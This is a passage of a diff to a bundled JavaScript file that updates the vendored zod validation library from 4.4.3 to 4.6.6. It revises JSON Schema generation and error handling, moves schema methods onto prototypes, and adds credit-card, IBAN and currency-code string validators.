bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66895,35 +71447,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66931,32 +71503,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -67001,14 +71573,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67020,7 +71592,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67031,12 +71603,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67046,6 +71618,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67089,7 +71662,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67104,6 +71677,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67111,10 +71686,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67130,6 +71705,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67143,8 +71719,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67200,10 +71782,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67220,6 +71804,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67285,7 +71870,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67308,6 +71893,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67319,88 +71905,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67414,182 +71965,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67635,38 +72206,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67675,6 +72298,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -67714,8 +72353,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67824,6 +72463,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67839,10 +72492,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return 